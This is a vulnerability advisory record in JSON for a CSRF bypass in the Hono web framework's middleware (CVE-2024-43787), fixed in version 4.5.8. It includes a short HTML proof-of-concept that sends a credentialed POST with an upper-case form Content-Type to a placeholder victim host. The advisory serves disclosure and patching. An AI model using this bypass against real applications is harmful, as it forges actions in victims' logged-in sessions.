{"id":"GHSA-rpfr-3m35-5vx5","revision":"9f26e2004e6d4fd38d61e525e6f21ed9","records":[{"revision":"9f26e2004e6d4fd38d61e525e6f21ed9","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-rpfr-3m35-5vx5","aliases":["CVE-2024-43787"],"title":"Hono CSRF middleware can be bypassed using crafted Content-Type header","description":"### Summary\n\nHono CSRF middleware can be bypassed using crafted Content-Type header.\n\n### Details\n\nMIME types are case insensitive, but `isRequestedByFormElementRe` only matches lower-case.\n\nhttps://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17\n\nAs a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as \"Application/x-www-form-urlencoded\".\n\n### PoC\n\n```html\n<html>\n  <head>\n    <title>CSRF Test</title>\n    <script defer>\n      document.addEventListener(\"DOMContentLoaded\", () => {\n        document.getElementById(\"btn\").addEventListener(\"click\", async () => {\n          const res = await fetch(\"http://victim.example.com/test\", {\n            method: \"POST\",\n            credentials: \"include\",\n            headers: {\n              \"Content-Type\": \"Application/x-www-form-urlencoded\",\n            },\n          });\n        });\n      });\n    </script>\n  </head>\n  <body>\n    <h1>CSRF Test</h1>\n    <button id=\"btn\">Click me!</button>\n  </body>\n</html>\n```\n\n### Impact\n\nBypass csrf protection implemented with hono csrf middleware.\n\n### Discussion\n\nI'm not sure that omitting csrf checks for Simple POST request is a good idea.\nCSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.\n","state":0,"publishedAt":"2024-08-22T16:41:08+00:00","modifiedAt":"2026-09-10T03:50:55.3805587+00:00","affected":[{"ecosystem":"npm","name":"hono","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"4.5.8"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"LOW"}],"references":["https://github.com/honojs/hono/security/advisories/GHSA-rpfr-3m35-5vx5","https://nvd.nist.gov/vuln/detail/CVE-2024-43787","https://github.com/honojs/hono/commit/41ce840379516410dee60c783142e05bb5a22449","https://github.com/honojs/hono","https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17"],"sourceUrl":"https://github.com/advisories/GHSA-rpfr-3m35-5vx5","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-rpfr-3m35-5vx5","identifiers":["GHSA-rpfr-3m35-5vx5","CVE-2024-43787"]},"retained":false,"historicalAffected":[]}],"coverage":[]}